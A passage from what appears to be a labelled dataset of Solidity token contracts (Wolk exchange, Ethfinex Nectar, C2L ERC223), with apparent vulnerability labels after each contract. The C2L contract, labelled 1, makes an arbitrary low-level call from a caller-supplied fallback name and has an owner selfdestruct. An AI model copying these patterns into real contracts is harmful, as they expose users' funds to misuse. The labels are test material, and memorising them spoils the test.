uint256 privateSaleTokens = safeDiv(safeMul(msg.value, 100000), percentageETHReserve);
uint256 checkedSupply = safeAdd(totalTokens, privateSaleTokens);
totalTokens = checkedSupply;
reserveBalance = safeAdd(reserveBalance, msg.value);
Transfer(address(this), wolkSale, privateSaleTokens);
balances[wolkSale] = safeAdd(balances[wolkSale], privateSaleTokens);
WolkCreated(wolkSale, privateSaleTokens);
allSaleCompleted = true;
}
}
contract IBurnFormula {
function calculateWolkToBurn(uint256 _value) public constant returns (uint256);
}
contract IFeeFormula {
function calculateProviderFee(uint256 _value) public constant returns (uint256);
}
contract WolkProtocol is Wolk {
address public burnFormula;
bool public settlementIsRunning = true;
uint256 public burnBasisPoints = 500;
mapping (address => mapping (address => bool)) authorized;
mapping (address => uint256) feeBasisPoints;
mapping (address => address) feeFormulas;
modifier isSettleable { require(settlementIsRunning); _; }
event AuthorizeServiceProvider(address indexed _owner, address _serviceProvider);
event DeauthorizeServiceProvider(address indexed _owner, address _serviceProvider);
event SetServiceProviderFee(address indexed _serviceProvider, uint256 _feeBasisPoints);
event BurnTokens(address indexed _from, address indexed _serviceProvider, uint256 _value);
function setBurnRate(uint256 _burnBasisPoints) onlyOwner returns (bool success) {
require((_burnBasisPoints > 0) && (_burnBasisPoints <= 1000));
burnBasisPoints = _burnBasisPoints;
return true;
}
function setBurnFormula(address _newBurnFormula) onlyOwner returns (bool success){
uint256 testBurning = estWolkToBurn(_newBurnFormula, 10 ** 18);
require(testBurning > (5 * 10 ** 13));
burnFormula = _newBurnFormula;
return true;
}
function setFeeFormula(address _newFeeFormula) onlySettler returns (bool success){
uint256 testSettling = estProviderFee(_newFeeFormula, 10 ** 18);
require(testSettling > (5 * 10 ** 13));
feeFormulas[msg.sender] = _newFeeFormula;
return true;
}
function updateSettlementStatus(bool _isRunning) onlyOwner returns (bool success){
settlementIsRunning = _isRunning;
return true;
}
function setServiceFee(address _serviceProvider, uint256 _feeBasisPoints) onlyOwner returns (bool success) {
if (_feeBasisPoints <= 0 || _feeBasisPoints > 4000){
settlers[_serviceProvider] = false;
feeBasisPoints[_serviceProvider] = 0;
return false;
}else{
feeBasisPoints[_serviceProvider] = _feeBasisPoints;
settlers[_serviceProvider] = true;
SetServiceProviderFee(_serviceProvider, _feeBasisPoints);
return true;
}
}
function checkServiceFee(address _serviceProvider) constant returns (uint256 _feeBasisPoints) {
return feeBasisPoints[_serviceProvider];
}
function checkFeeSchedule(address _serviceProvider) constant returns (address _formulaAddress) {
return feeFormulas[_serviceProvider];
}
function estWolkToBurn(address _burnFormula, uint256 _value) constant internal returns (uint256){
if(_burnFormula != 0x0){
uint256 wolkBurnt = IBurnFormula(_burnFormula).calculateWolkToBurn(_value);
return wolkBurnt;
}else{
return 0;
}
}
function estProviderFee(address _serviceProvider, uint256 _value) constant internal returns (uint256){
address ProviderFeeFormula = feeFormulas[_serviceProvider];
if (ProviderFeeFormula != 0x0){
uint256 estFee = IFeeFormula(ProviderFeeFormula).calculateProviderFee(_value);
return estFee;
}else{
return 0;
}
}
function settleBuyer(address _buyer, uint256 _value) onlySettler isSettleable returns (bool success) {
require((burnBasisPoints > 0) && (burnBasisPoints <= 1000) && authorized[_buyer][msg.sender]);
require(balances[_buyer] >= _value && _value > 0);
var WolkToBurn = estWolkToBurn(burnFormula, _value);
var burnCap = safeDiv(safeMul(_value, burnBasisPoints), 10000);
if (WolkToBurn < 1) WolkToBurn = burnCap;
if (WolkToBurn > burnCap) WolkToBurn = burnCap;
var transferredToServiceProvider = safeSub(_value, WolkToBurn);
balances[_buyer] = safeSub(balances[_buyer], _value);
balances[msg.sender] = safeAdd(balances[msg.sender], transferredToServiceProvider);
totalTokens = safeSub(totalTokens, WolkToBurn);
Transfer(_buyer, msg.sender, transferredToServiceProvider);
Transfer(_buyer, 0x00000000000000000000, WolkToBurn);
BurnTokens(_buyer, msg.sender, WolkToBurn);
return true;
}
function settleSeller(address _seller, uint256 _value) onlySettler isSettleable returns (bool success) {
var serviceProviderBP = feeBasisPoints[msg.sender];
require((serviceProviderBP > 0) && (serviceProviderBP <= 4000) && (_value > 0));
var seviceFee = estProviderFee(msg.sender, _value);
var Maximumfee = safeDiv(safeMul(_value, serviceProviderBP), 10000);
if (seviceFee < 1) seviceFee = Maximumfee;
if (seviceFee > Maximumfee) seviceFee = Maximumfee;
var transferredToSeller = safeSub(_value, seviceFee);
require(balances[msg.sender] >= transferredToSeller );
balances[_seller] = safeAdd(balances[_seller], transferredToSeller);
Transfer(msg.sender, _seller, transferredToSeller);
return true;
}
function authorizeProvider(address _providerToAdd) returns (bool success) {
require(settlers[_providerToAdd]);
authorized[msg.sender][_providerToAdd] = true;
AuthorizeServiceProvider(msg.sender, _providerToAdd);
return true;
}
function deauthorizeProvider(address _providerToRemove) returns (bool success) {
authorized[msg.sender][_providerToRemove] = false;
DeauthorizeServiceProvider(msg.sender, _providerToRemove);
return true;
}
function checkAuthorization(address _owner, address _serviceProvider) constant returns (bool authorizationStatus) {
return authorized[_owner][_serviceProvider];
}
function grantService(address _owner, address _providerToAdd) onlyOwner returns (bool authorizationStatus) {
var isPreauthorized = authorized[_owner][msg.sender];
if (isPreauthorized && settlers[_providerToAdd]) {
authorized[_owner][_providerToAdd] = true;
AuthorizeServiceProvider(msg.sender, _providerToAdd);
return true;
}else{
return false;
}
}
function removeService(address _owner, address _providerToRemove) onlyOwner returns (bool authorizationStatus) {
authorized[_owner][_providerToRemove] = false;
DeauthorizeServiceProvider(_owner, _providerToRemove);
return true;
}
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint8 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint8 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract WolkExchange is WolkProtocol, WolkTGE {
uint256 public maxPerExchangeBP = 50;
address public exchangeFormula;
bool public exchangeIsRunning = false;
modifier isExchangable { require(exchangeIsRunning && allSaleCompleted); _; }
function setExchangeFormula(address _newExchangeformula) onlyOwner returns (bool success){
require(sellWolkEstimate(10**decimals, _newExchangeformula) > 0);
require(purchaseWolkEstimate(10**decimals, _newExchangeformula) > 0);
exchangeIsRunning = false;
exchangeFormula = _newExchangeformula;
return true;
}
function updateExchangeStatus(bool _isRunning) onlyOwner returns (bool success){
if (_isRunning){
require(sellWolkEstimate(10**decimals, exchangeFormula) > 0);
require(purchaseWolkEstimate(10**decimals, exchangeFormula) > 0);
}
exchangeIsRunning = _isRunning;
return true;
}
function setMaxPerExchange(uint256 _maxPerExchange) onlyOwner returns (bool success) {
require((_maxPerExchange >= 10) && (_maxPerExchange <= 100));
maxPerExchangeBP = _maxPerExchange;
return true;
}
function estLiquidationCap() public constant returns (uint256) {
if (openSaleCompleted){
var liquidationMax = safeDiv(safeMul(totalTokens, maxPerExchangeBP), 10000);
if (liquidationMax < 100 * 10**decimals){
liquidationMax = 100 * 10**decimals;
}
return liquidationMax;
}else{
return 0;
}
}
function sellWolkEstimate(uint256 _wolkAmountest, address _formula) internal returns(uint256) {
uint256 ethReceivable = IBancorFormula(_formula).calculateSaleReturn(totalTokens, reserveBalance, percentageETHReserve, _wolkAmountest);
return ethReceivable;
}
function purchaseWolkEstimate(uint256 _ethAmountest, address _formula) internal returns(uint256) {
uint256 wolkReceivable = IBancorFormula(_formula).calculatePurchaseReturn(totalTokens, reserveBalance, percentageETHReserve, _ethAmountest);
return wolkReceivable;
}
function sellWolk(uint256 _wolkAmount) isExchangable() returns(uint256) {
uint256 sellCap = estLiquidationCap();
require((balances[msg.sender] >= _wolkAmount));
require(sellCap >= _wolkAmount);
uint256 ethReceivable = sellWolkEstimate(_wolkAmount,exchangeFormula);
require(this.balance > ethReceivable);
balances[msg.sender] = safeSub(balances[msg.sender], _wolkAmount);
totalTokens = safeSub(totalTokens, _wolkAmount);
reserveBalance = safeSub(this.balance, ethReceivable);
WolkDestroyed(msg.sender, _wolkAmount);
Transfer(msg.sender, 0x00000000000000000000, _wolkAmount);
msg.sender.transfer(ethReceivable);
return ethReceivable;
}
function purchaseWolk(address _buyer) isExchangable() payable returns(uint256){
require(msg.value > 0);
uint256 wolkReceivable = purchaseWolkEstimate(msg.value, exchangeFormula);
require(wolkReceivable > 0);
totalTokens = safeAdd(totalTokens, wolkReceivable);
balances[_buyer] = safeAdd(balances[_buyer], wolkReceivable);
reserveBalance = safeAdd(reserveBalance, msg.value);
WolkCreated(_buyer, wolkReceivable);
Transfer(address(this),_buyer,wolkReceivable);
return wolkReceivable;
}
function () payable {
require(msg.value > 0);
if(!openSaleCompleted){
this.tokenGenerationEvent.value(msg.value)(msg.sender);
}else if (block.number >= end_block){
this.purchaseWolk.value(msg.value)(msg.sender);
}else{
revert();
}
}
} | 0 | 1,193 |
pragma solidity ^0.4.18;
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
function onBurn(address _owner, uint _amount) public returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'EFX_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
Checkpoint[] totalPledgedFeesHistory;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
uint constant MAX_UINT = 2**256 - 1;
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < MAX_UINT) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function totalPledgedFees() public constant returns (uint) {
return totalPledgedFeesAt(block.number);
}
function totalPledgedFeesAt(uint _blockNumber) public constant returns(uint) {
if ((totalPledgedFeesHistory.length == 0)
|| (totalPledgedFeesHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalPledgedFeesAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalPledgedFeesHistory, _blockNumber);
}
}
function pledgeFees(uint _value) public onlyController returns (bool) {
uint curTotalFees = totalPledgedFees();
require(curTotalFees + _value >= curTotalFees);
updateValueAtNow(totalPledgedFeesHistory, curTotalFees + _value);
return true;
}
function reducePledgedFees(uint _value) public onlyController returns (bool) {
uint curTotalFees = totalPledgedFees();
require(curTotalFees >= _value);
updateValueAtNow(totalPledgedFeesHistory, curTotalFees - _value);
return true;
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract NEC is MiniMeToken {
function NEC(
address _tokenFactory,
address efxVaultWallet
) public MiniMeToken(
_tokenFactory,
0x0,
0,
"Ethfinex Nectar Token",
18,
"NEC",
true
) {
generateTokens(efxVaultWallet, 1000000000000000000000000000);
enableBurning(false);
}
bool public burningEnabled;
function enableBurning(bool _burningEnabled) public onlyController {
burningEnabled = _burningEnabled;
}
function burnAndRetrieve(uint256 _tokensToBurn) public returns (bool success) {
require(burningEnabled);
var previousBalanceFrom = balanceOfAt(msg.sender, block.number);
if (previousBalanceFrom < _tokensToBurn) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onBurn(msg.sender, _tokensToBurn));
}
Burned(msg.sender, _tokensToBurn);
return true;
}
event Burned(address indexed who, uint256 _amount);
}
contract Owned {
modifier onlyOwner { require (msg.sender == owner); _; }
address public owner;
function Owned() public { owner = msg.sender;}
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
contract Whitelist is Owned {
bool public listActive = true;
function isRegistered(address _user) public constant returns (bool) {
if (!listActive) {
return true;
} else {
return isOnList[_user];
}
}
modifier authorised () {
require(isAuthorisedMaker[msg.sender]);
_;
}
mapping (address => bool) public isOnList;
mapping (address => bool) public isAuthorisedMaker;
function register(address[] newUsers) public onlyOwner {
for (uint i = 0; i < newUsers.length; i++) {
isOnList[newUsers[i]] = true;
}
}
function deregister(address[] bannedUsers) public onlyOwner {
for (uint i = 0; i < bannedUsers.length; i++) {
isOnList[bannedUsers[i]] = false;
}
}
function authoriseMaker(address maker) public onlyOwner {
isAuthorisedMaker[maker] = true;
address[] memory makers = new address[](1);
makers[0] = maker;
register(makers);
}
function deauthoriseMaker(address maker) public onlyOwner {
isAuthorisedMaker[maker] = false;
}
function activateWhitelist(bool newSetting) public onlyOwner {
listActive = newSetting;
}
function getRegistrationStatus(address _user) constant external returns (bool) {
return isOnList[_user];
}
function getAuthorisationStatus(address _maker) constant external returns (bool) {
return isAuthorisedMaker[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract NectarController is TokenController, Whitelist {
using SafeMath for uint256;
NEC public tokenContract;
address public vaultAddress;
uint public periodLength = 30;
uint public startTime;
mapping (uint => uint) public windowFinalBlock;
function NectarController(
address _vaultAddress,
address _tokenAddress
) public {
require(_vaultAddress != 0);
tokenContract = NEC(_tokenAddress);
vaultAddress = _vaultAddress;
startTime = block.timestamp;
windowFinalBlock[0] = block.number-1;
}
function () public payable {
doTakerPayment();
}
function contributeForMakers(address _owner) public payable authorised {
doMakerPayment(_owner);
}
function proxyPayment(address _owner) public payable returns(bool) {
doTakerPayment();
return true;
}
function proxyAccountingCreation(address _owner, uint _pledgedAmount, uint _tokensToCreate) public onlyOwner returns(bool) {
doProxyAccounting(_owner, _pledgedAmount, _tokensToCreate);
return true;
}
function onTransfer(address _from, address _to, uint _amount) public returns(bool) {
if (isRegistered(_to) && isRegistered(_from)) {
return true;
} else {
return false;
}
}
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool)
{
if (isRegistered(_owner)) {
return true;
} else {
return false;
}
}
function onBurn(address _owner, uint _tokensToBurn) public
returns(bool)
{
require(msg.sender == address(tokenContract));
uint256 feeTotal = tokenContract.totalPledgedFees();
uint256 totalTokens = tokenContract.totalSupply();
uint256 feeValueOfTokens = (feeTotal.mul(_tokensToBurn)).div(totalTokens);
require (tokenContract.destroyTokens(_owner, _tokensToBurn));
require (this.balance >= feeValueOfTokens);
require (_owner.send(feeValueOfTokens));
LogClaim(_owner, feeValueOfTokens);
return true;
}
function doMakerPayment(address _owner) internal {
require ((tokenContract.controller() != 0) && (msg.value != 0) );
tokenContract.pledgeFees(msg.value);
require (vaultAddress.send(msg.value));
if(windowFinalBlock[currentWindow()-1] == 0) {
windowFinalBlock[currentWindow()-1] = block.number -1;
}
uint256 newIssuance = getFeeToTokenConversion(msg.value);
require (tokenContract.generateTokens(_owner, newIssuance));
LogContributions (_owner, msg.value, true);
return;
}
function doTakerPayment() internal {
require ((tokenContract.controller() != 0) && (msg.value != 0) );
tokenContract.pledgeFees(msg.value);
require (vaultAddress.send(msg.value));
LogContributions (msg.sender, msg.value, false);
return;
}
function doProxyAccounting(address _owner, uint _pledgedAmount, uint _tokensToCreate) internal {
require ((tokenContract.controller() != 0));
if(windowFinalBlock[currentWindow()-1] == 0) {
windowFinalBlock[currentWindow()-1] = block.number -1;
}
tokenContract.pledgeFees(_pledgedAmount);
if(_tokensToCreate > 0) {
uint256 newIssuance = getFeeToTokenConversion(_pledgedAmount);
require (tokenContract.generateTokens(_owner, _tokensToCreate));
}
LogContributions (msg.sender, _pledgedAmount, true);
return;
}
function setVault(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
}
function upgradeController(address _newControllerAddress) public onlyOwner {
tokenContract.changeController(_newControllerAddress);
UpgradedController(_newControllerAddress);
}
function getFeeToTokenConversion(uint256 _contributed) public constant returns (uint256) {
uint calculationBlock = windowFinalBlock[currentWindow()-1];
uint256 previousSupply = tokenContract.totalSupplyAt(calculationBlock);
uint256 initialSupply = tokenContract.totalSupplyAt(windowFinalBlock[0]);
uint256 feeTotal = tokenContract.totalPledgedFeesAt(calculationBlock);
uint256 newTokens = (_contributed.mul(previousSupply.div(1000)).div((initialSupply.div(1000)).add(feeTotal))).mul(1000);
return newTokens;
}
function currentWindow() public constant returns (uint) {
return windowAt(block.timestamp);
}
function windowAt(uint timestamp) public constant returns (uint) {
return timestamp < startTime
? 0
: timestamp.sub(startTime).div(periodLength * 1 days) + 1;
}
function topUpBalance() public payable {
LogFeeTopUp(msg.value);
}
function evacuateToVault() public onlyOwner{
vaultAddress.transfer(this.balance);
LogFeeEvacuation(this.balance);
}
function enableBurning(bool _burningEnabled) public onlyOwner{
tokenContract.enableBurning(_burningEnabled);
}
function claimTokens(address _token) public onlyOwner {
NEC token = NEC(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event LogFeeTopUp(uint _amount);
event LogFeeEvacuation(uint _amount);
event LogContributions (address _user, uint _amount, bool _maker);
event LogClaim (address _user, uint _amount);
event UpgradedController (address newAddress);
} | 0 | 1,716 |
library SafeMath {
uint constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address private newOwner;
event OwnershipTransferred(address indexed_from, address indexed_to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract C2L is ERC223, Owned {
uint internal constant INITIAL_COIN_BALANCE = 21000000;
string public name = "C2L";
string public symbol = "C2L";
uint8 public decimals = 0;
mapping(address => bool) beingEdited;
uint public totalCoinSupply = INITIAL_COIN_BALANCE;
mapping(address => uint) internal balances;
mapping(address => mapping(address => uint)) internal allowed;
address[] addressLUT;
function C2L() public {
totalCoinSupply = INITIAL_COIN_BALANCE;
balances[owner] = totalCoinSupply;
updateAddresses(owner);
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _supply) {
return totalCoinSupply;
}
function setEditedTrue(address _subject) private {
beingEdited[_subject] = true;
}
function setEditedFalse(address _subject) private {
beingEdited[_subject] = false;
}
function balanceOf(address who) public view returns (uint) {
return balances[who];
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function mint(uint amount) public onlyOwner {
require(beingEdited[owner] != true);
setEditedTrue(owner);
totalCoinSupply = SafeMath.add(totalCoinSupply, amount);
balances[owner] = SafeMath.add(balances[owner], amount);
setEditedFalse(owner);
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if(isContract(_to)) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
require (balances[msg.sender] >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
require (balanceOf(msg.sender) >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
require (balanceOf(msg.sender) >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
function updateAddresses(address _lookup) private {
for(uint i = 0; i < addressLUT.length; i++) {
if(addressLUT[i] == _lookup) return;
}
addressLUT.push(_lookup);
}
function () public payable {
}
function killCoin() public onlyOwner {
selfdestruct(owner);
}
} | 1 | 2,604 |
pragma solidity ^0.4.11;
contract Utils {
function Utils() {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
